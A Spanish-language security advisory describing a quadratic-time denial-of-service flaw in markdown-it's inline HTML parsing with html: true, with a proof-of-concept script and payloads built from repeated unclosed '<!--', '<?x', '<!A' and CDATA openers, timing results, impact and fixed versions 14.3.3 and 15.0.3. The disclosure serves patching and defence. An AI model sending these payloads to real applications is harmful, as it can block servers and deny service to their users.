markdown-it: Denegación de servicio de tiempo cuadrático en el análisis de HTML en línea con HTML habilitado
Resumen
Con html: true, markdown-it requiere un tiempo cuadrático para procesar construcciones HTML no terminadas repetidas dentro de un párrafo. Esto afecta a los comentarios HTML (<!--), instrucciones de procesamiento (<?), declaraciones (<!A) y secciones CDATA (<![CDATA[).
Una entrada controlada por un atacante de unos pocos cientos de kilobytes puede bloquear el bucle de eventos de Node.js durante segundos o decenas de segundos. La configuración predeterminada tiene HTML deshabilitado, pero el ajuste predefinido commonmark lo habilita.
El problema se notificó para el paquete publicado markdown-it@15.0.2 en Node.js 20 y se reprodujo en el código fuente actual con Node.js 24.16.0.
Detalles
src/rules_inline/text.ts trata < como un terminador, lo que provoca que el analizador en línea intente aplicar la regla HTML en aperturas sucesivas de construcciones HTML.
Con HTML habilitado, src/rules_inline/html_inline.ts aplica una expresión regular anclada a la entrada restante:
const match = state.src.slice(pos).match(HTML_TAG_RE)
Las alternativas de comentarios, instrucciones de procesamiento, declaraciones y CDATA en src/common/html_re.ts escanean la entrada restante en busca de sus respectivos terminadores: -->, ?>, > y ]]>.
Cuando el terminador está ausente, la coincidencia falla. El análisis finalmente llega al siguiente inicio de constructo y escanea de nuevo un sufijo superpuesto. Repetir esto a lo largo del párrafo genera un trabajo total cuadrático. Para estas entradas, el problema radica en el escaneo reiterado a través de intentos de coincidencia independientes.
La carga útil debe llegar al análisis en línea. Anteponer x la mantiene dentro de un párrafo. Comenzar una línea directamente con una de estas construcciones invoca el análisis de bloques HTML, que no presenta los mismos escaneos en línea reiterados para estas cargas útiles.
La prueba existente unclosed <!-- en test/markdown-it/pathological.test.mjs ya contiene un reproductor:
'</' + '<!--'.repeat(100000)
Sin embargo, se ejecuta con las opciones predeterminadas, donde HTML está desactivado.
Una corrección debería evitar búsquedas reiteradas de terminadores ausentes en las cuatro alternativas afectadas, por ejemplo almacenando en caché las búsquedas fallidas en el estado en línea. Corregir únicamente la alternativa de comentarios deja afectadas las otras tres. La cobertura de regresión debería probar las cuatro con html: true.
El informe original fue enviado por @JarLob. Da crédito al GitHub Security Lab Taskflow Agent como parte del GitHub Secure Open Source Fund.
Prueba de concepto
Instale el paquete afectado en un directorio vacío:
npm install markdown-it@15.0.2
Guarde lo siguiente como poc.mjs y ejecute node poc.mjs:
import MarkdownIt from 'markdown-it'
import { performance } from 'node:perf_hooks'
const mdHtml = new MarkdownIt({ html: true })
const mdDefault = new MarkdownIt()
const sizes = [8000, 16000, 32000, 64000]
function measure(md, src) {
const start = performance.now()
md.render(src)
return (performance.now() - start).toFixed(1)
}
const variants = {
comment: '<!--',
processing: '<?x',
declaration: '<!A',
cdata: '<![CDATA['
}
for (const [name, opener] of Object.entries(variants)) {
console.log(`\n${name}`)
for (const n of sizes) {
const src = 'x ' + opener.repeat(n)
console.log({
n,
bytes: Buffer.byteLength(src),
ms: measure(mdHtml, src)
})
}
}
const n = sizes.at(-1)
const controls = {
'HTML disabled': [mdDefault, 'x ' + '<!--'.repeat(n)],
'Closed comments': [mdHtml, 'x ' + '<!---->'.repeat(n)],
'HTML block': [mdHtml, '<!--'.repeat(n)],
'Plain text': [mdHtml, 'x ' + 'abcd'.repeat(n)]
}
for (const [name, [md, src]] of Object.entries(controls)) {
console.log({ control: name, ms: measure(md, src) })
}
const repoPayload = '</' + '<!--'.repeat(100000)
console.log({
payload: 'Existing pathological test',
htmlFalseMs: measure(mdDefault, repoPayload),
htmlTrueMs: measure(mdHtml, repoPayload)
})
Mediciones del informe original en markdown-it@15.0.2, Node.js 20:
| Construcción | 8,000 repeticiones | 64,000 repeticiones |
|---|---|---|
| Comentario | 170 ms | 8,799 ms |
| Instrucción de procesamiento | 26 ms | 1,566 ms |
| Declaración | 93 ms | 5,628 ms |
| CDATA | 119 ms | 4,179 ms |
Un aumento de ocho veces en las repeticiones produce aproximadamente entre 35 y 60 veces el tiempo de ejecución, lo que coincide con un crecimiento cuadrático dominante.
Para la carga útil de comentarios en 64,000 repeticiones:
- HTML deshabilitado: 25 ms.
- Comentarios cerrados: 29 ms.
- Carga útil al inicio de un bloque HTML: 1 ms.
- Texto plano: 1 ms.
La carga útil de prueba patológica existente con 100,000 aperturas de comentarios tardó 33 ms con HTML deshabilitado y 21,030 ms con HTML habilitado. Otra carga útil de comentarios con 128,000 repeticiones, de aproximadamente 500 KiB, tardó 32,847 ms.
Los tiempos exactos dependen del entorno de ejecución y del hardware.
Impacto
Se trata de un problema de disponibilidad que afecta a aplicaciones que procesan Markdown controlado por un atacante con html: true, incluidas aplicaciones que utilizan el ajuste preestablecido commonmark.
En Node.js, una llamada sincrónica a render() puede ocupar un núcleo de CPU y bloquear el bucle de eventos durante segundos o decenas de segundos, retrasando otras solicitudes procesadas por el mismo proceso. Envíos repetidos pueden provocar una denegación de servicio. Las aplicaciones de navegador pueden volverse igualmente no responsivas si renderizan en el hilo principal.
Sanitizar el HTML generado posteriormente no previene el problema, ya que el procesamiento costoso se produce durante el renderizado de Markdown.
La configuración predeterminada, con HTML deshabilitado, no se ve afectada por estas cargas útiles. Deshabilitar HTML o limitar el tamaño de entrada puede mitigar la exposición mientras se aplica una solución.
La versión afectada reportada es 15.0.2; el rango completo de versiones afectadas no ha sido determinado.
Qué hacer
Actualice a las versiones corregidas 14.3.3 o 15.0.3. Como mitigación alternativa, desactive el procesamiento de HTML o limite el tamaño de las entradas.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | markdown-it | < 14.3.3, >= 15.0.0, < 15.0.3 | 14.3.3, 15.0.3 |
Referencias
- https://github.com/markdown-it/markdown-it/security/advisories/GHSA-vfgh-jcmw-g37q
- https://nvd.nist.gov/vuln/detail/CVE-2026-111766
- https://github.com/markdown-it/markdown-it/commit/928bc8c11ded60181c0e7fc5aa954eec582e8e79
- https://github.com/markdown-it/markdown-it/commit/d99f48839d37af6fd8a2617516c43dab90755503
- https://github.com/markdown-it/markdown-it
- https://github.com/markdown-it/markdown-it/releases/tag/14.3.3
- https://github.com/markdown-it/markdown-it/releases/tag/15.0.3
- Vector CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L- Debilidad (CWE)
CWE-400, CWE-407- Plataforma
- npm
- Paquete
markdown-it- Publicada
- 20.10.2026
- Actualizado
- 20.10.2026 23:20
Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.
OSV / GitHub Advisory Database - GHSA-vfgh-jcmw-g37q - CC BY 4.0
Historial de vulnerabilidades: markdown-it
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 8
- Primera → última
- 01.2022 10.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Alta 3
- Media 4
- Baja 1
Divulgaciones por año
- 2022: 2
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 6
-
markdown-it: Denegación de servicio de tiempo cuadrático en el análisis de HTML en línea con HTML habilitado esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.